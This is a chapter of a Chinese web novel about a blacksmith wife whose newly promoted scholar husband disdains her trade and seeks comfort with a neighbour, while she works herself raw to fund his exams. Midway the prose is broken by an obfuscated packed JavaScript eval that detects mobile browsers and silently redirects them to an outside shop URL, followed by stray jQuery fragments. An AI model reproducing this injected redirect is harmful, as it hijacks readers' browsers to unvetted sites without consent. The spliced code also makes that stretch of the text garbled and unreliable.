中举之后，周砚书的身份不一样了。
从前他是青石镇的穷秀才，同窗们拿他媳妇打铁的事打趣，他只能讪讪笑着忍了。如今他好歹是个举人了，虽然名次靠后，但举人老爷的门面摆在那儿，再去县学读书时同窗们的嘴脸便收敛了许多，至少明面上不再拿他媳妇说事。
可周砚书自己心里那根刺没拔出去，反而扎得更深了。
身份上去了，他越发觉得宋云铮跟他不般配。举人老爷的妻子不说琴棋书画样样精通，起码也得温良贤淑、体面大方，能替他撑起门楣、接待往来同窗。宋云铮呢？一双手黑粗粗糙，开口就是铁料多少钱一斤，跟那些文人同窗的夫人们坐在一起，连句像样的场面话都说不出来。
他想过教她。有一回县学里办文会，邀了举人们的家眷同往，周砚书提前半个月就开始跟宋云铮说："到时候旁人说话你少开口，笑就行了。衣裳我托人去给你做件新的，靛青的，衬你肤色。"
宋云铮当时正在磨一把菜刀，砂轮嗡嗡响，她说："我不去行不行？铺子里有活儿。"
"不行！"周砚书的声音陡然拔高，"你现在是举人娘子了，不是从前那个打铁的村姑！你总不能一辈子躲在铁铺里头不见人吧？"
宋云铮关了砂轮，嗡声停下，院子里忽然安静得厉害。她抬起头来看他，脸上没什么表情，但眼神里有一层很薄的东西凝着，周砚书没看明白。
"我去。"她说。
文会那天宋云铮穿了新做的靛青衫子，头发用那支并蒂莲玉簪挽了，手上戴了双白绢手套——那是她出门前自个儿做的，粗针大线缝的，勉强遮住了手上的疤和茧。
周砚书看见那双手套时愣了愣，想说句什么，但最后只说了句："走吧。"
到了文会上，那些举人夫人们果然聚在一处说诗论文、谈胭脂水粉、讲京城的时新花样。宋云铮坐在角落里，端着一盏茶喝了一整个下午，没插一句话。有人问她夫人在家做些什么消遣，她实诚回答："打铁。"
满座皆静。
周砚书在外头听见了，那一刻脸上的笑几乎挂不住。他端着一杯酒走过去打圆场："内人说笑呢，她平日在家也就是理理家务、看看书……"
宋云铮看了他一眼，没再说话。
回家路上两个人一路无话。进了院门周砚书把袍子往椅背上一摔，头一回发了大火："我跟你说了叫你别说话别说话！你倒好，张口就是打铁！你是生怕别人不知道你是铁匠出身？"
宋云铮站在院子里解那副白绢手套，一根一根手指褪下来，露出底下的黑皮粗骨。她说："我本来就是铁匠出身，有什么不能说的。"
周砚书气得胸膛起伏，指着她："你……你就是块又臭又硬的铁疙瘩！油盐不进！"
宋云铮把手套叠好搁在石桌上，没接他的话，转身进了隔壁小打铁间。不一会儿里头又响起了叮叮当当的锤声，一下一下，砸在铁砧上，也像砸在周砚书心口上。
他站在院子里，听着那锤声，忽然觉得这个家跟那间铁铺已经彻底分不开了。每一样东西都沾着铁腥味儿——桌腿角上蹭的灰是铁灰，晾在院角的衣裳是铁灰洗过的水晒干的，连枕巾上都有一股淡淡的热铁冷却后的焦味儿。
他厌恶这股味儿。
从那天以后，周砚书去隔壁柳含烟那儿坐得越来越勤。
起初是"借本书""讨碗茶"之类的由头，后来渐渐连由头都不要了。他下了学回来，先不急着进自家院门，在巷口站着听听柳含烟那边有没有动静。若有琵琶声，他便敲门进去，坐在她堂屋里听她弹一曲，喝一盏她亲手泡的桂花茶。
柳含烟待他极温柔。温声细语地说话，指尖剥橘子给他吃，听他抱怨宋云铮时便叹着气说"周相公别恼，夫人也是为这个家操劳"，然后替他续上茶，眼角眉梢全是熨帖的暖意。
有一回周砚书在县学里受了气——同窗拿他乡试名次靠后的事阴阳怪气了几句——他憋了一肚子火回来，没进自家门，径直拐进了隔壁。柳含烟见他面色不好，什么也没问，只端了盘新蒸的梅花糕搁在他面前，又拨了两声琵琶弦，软软说："周相公吃块糕消消气吧。"
周砚书吃着热腾腾的糕，听着柔缓的琵琶声，看着面前这个白净温柔的女人，忽然觉得这才是他想要的日子。温软的、安静的、不带任何铁腥气的日子。
那天他在柳含烟那儿坐到天黑才回家。
宋云铮在灶台边热着一碗面，见他回来，把面端上桌。周砚书吃了一口，忽然说："隔隔壁柳娘子蒸的梅花糕不错，你要有空也学着做做。"
宋云铮擦灶台的手停了一下："我没空。镖局又订了一批货。"
周砚书放下筷子："你就不能少接点活？"
"不接活哪来的钱？"宋云铮转过身来看着他，声音还是一贯的平稳，"你明年春天要去京城会试，来回盘缠、在京里的吃住、打点关系，哪一样不要银子？你当举人老爷那点廪米够用？"
周砚书被她问得哑口无言，筷子在碗沿上磕了一下，发出清脆的一声。
他不说话了，埋头把面吃完，碗搁在桌上进了书房。宋云铮把碗收了，在灶台边洗了，灯也没留，抹黑进了卧房。
两个人又是一夜无话。
深秋的时候，宋云铮接了个大单。北边有支商队路过青石镇，需要一批长途跋涉用的马蹄铁和车轴配件，工期紧、活儿重、工钱高。宋云铮算了算，这笔钱挣下来，周砚书去京城会试的盘缠就彻底够了，还能多出一些给他买身像样的冬袍。
她没告诉周砚书这笔活的具体大小，只说"忙一阵"。
那一阵她几乎长在了铁铺里。天不亮就生火，锤声从早响到晚，中间顾不上吃饭就啃两口干饼子，连水都喝得少。她的手磨出了新伤叠旧伤，十个指头裹满了布条，有时候晚上从铺子里回来解了布条泡水，血水把盆染成淡淡的粉红色。
周砚书知道她在忙，但不知道忙成什么样子。他没去铺子里看过。
那段时间他每天回来灶上都是冷的，宋云铮给他留了饭菜盖在纱罩下面，他自个儿热了吃，吃完把碗搁在池子里，第二天早上那些碗就干干净净码回了碗柜。但饭菜越来越简单，有时候就是一碗白粥一碟咸菜，连个蛋都没有。
周砚书心里不痛快，但他没发作。他憋着一股气，等宋云铮忙完那一阵再说。
那一阵忙了整整两个月。
入冬头一场雪下来那天，商队的货终于交了。宋云铮把工钱拿到手，仔细分成几份包好，揣在怀里顶着雪往回走。走到半路雪越下越大，把她头发和肩头全落白了，她加快步子跑起来，靴子在泥雪地里踩得噼啪响。
推院门的时候她听见里头有人说话。
她顿住了。
院子里没有人，声音是从堂屋传来的——周砚书的声音，还有另一个女人的声音，软软的，带着笑，像冬天里捂在手心的一杯热茶。
宋云铮站在雪地里没动，雪片落在她睫毛上，化了，顺着脸颊淌下来，像汗又像泪。但她脸上没什么表情，只是安静地站着听。
周砚书的声音从堂屋透出来："……你是不知道她那个人，我跟她说十句，她回我一句，问她什么都说'嗯'、'好'、'行'，跟她过日子跟对着一面墙说话似的……"
柳含烟的声音接过来："周相公别这么说，夫人她……她就是性子闷了些……"
"闷？那叫闷吗？那叫心里没有我！"周砚书的声音拔高了半度，带着压抑许久的委屈和怨气，"我娶她是想过日子的，她呢？一天到晚就知道打铁，她眼里除了那些铁疙瘩还有什么？"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834924|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
宋云铮站在雪里，把怀里的钱袋按了按。
"她要是心里有我，就不会天天把我一个人扔在家里吃冷灶。隔壁张大娘家媳妇会绣花，李屠户家媳妇会蒸包子，我家的呢？她连碗热乎的汤都不肯给我做！"
"周相公别气……"
"我不是气，"周砚书的声音忽然低了下去，像一根绷了太久的弦终于松了半寸，"我是心寒。云铮……宋云铮她这个人，就是块铁，捂不热的那种。她根本不懂什么叫温柔，什么叫体贴，什么叫夫妻之间该有的……"
后面的话宋云铮没再听下去。
她转身走出了巷子，抱着那包沉甸甸的银子，在雪地里漫无目的地走了很久。脚底的寒意顺着靴底往上爬，爬到膝盖的时候她停住了，站在青石镇外那座空荡荡的老桥上，低头看着结了薄冰的河水。
河面上映着灰蒙蒙的天，雪落进去就化了。
她站了一会儿，把怀里的钱袋拿出来拆开看了一眼。沉甸甸的碎银子，够周砚书去京城来回三趟还有余。
她把手伸进钱袋里摸了摸那些银子，一个角一个角数着，忽然笑了一下。
那笑意很淡，很快就散了，像河面上雪化出的涟漪。
她重新把钱袋扎好揣进怀里，转身往回走。一路上雪还在下，她走得不快不慢，靴子在雪地里印出两行深一脚浅一脚的坑。
推开院门的时候周砚书刚好从堂屋出来送柳含烟。三个人在院子里碰了个照面。
柳含烟手里端着一个空碟子，显然又是来送糕点的。她看见宋云铮浑身是雪地站在门口，愣了一下，先挂上了笑："周夫人回来了？雪这么大，赶紧进屋暖和暖和。"
宋云铮没看她，目光越过她落在周砚书脸上。
周砚书被她的眼神定在原地，莫名心虚起来，清了清嗓子："……你回来了。那个，商队的东西交了？"
"交了。"宋云铮的声音跟往常一样平。
她从怀里掏出那个钱袋递过去："会试的盘缠够了。你收好。"
周砚书伸手接过来，钱袋沉甸甸的，入手的时候他碰了一下宋云铮的指尖——冰的，像摸了块河里的石头。
他看了一眼她的手。两只手十个指头全裹着布条，布条被雪水浸得透湿，洇出深浅不一的暗色，不知道是水还是血。
周砚书的喉咙动了一下。
"你手……"
"没事。"宋云铮把手缩进袖子里，绕过他和柳含烟，走进了卧房。
堂屋里剩周砚书和柳含烟两个人站着。柳含烟尴尬地笑了笑，低声说："那我也回去了……周相公，你好好跟夫人说说话。"
她快步出了院门。
周砚书攥着手里的钱袋站在原地，雪落在肩上，凉飕飕的。他低头看了看那个钱袋，又抬头看了看紧闭的卧房门，忽然觉得手里这袋银子烫得慌。
他在院子里站了很久，最后把银子收进书房柜子里，走到卧房门口站住，想推门，手伸出去又缩了回来。
门缝里透出一点微弱的光。宋云铮在里面点着灯，不知道在做什么。
周砚书把额头抵在门板上，低低叫了一声："云铮……"
里面没有应声。
只有窸窸窣窣的动静，像是有人在解手上的布条。很轻，很慢。
周砚书在门口站了一炷香的工夫，最终还是转身回了书房。
那晚两个人在同一个屋檐下，隔着一道墙，各自睡了一夜。宋云铮卧房里的灯亮到很晚才熄，周砚书书房的灯也亮着，亮的时长差不多。
雪下了一整夜。
第二天早上青石镇白了一片，周砚书起床时发现灶上照旧有粥，照旧是温的。宋云铮已经去铁铺了。
桌上跟从前一样，干净、利落、什么多余的话都没有。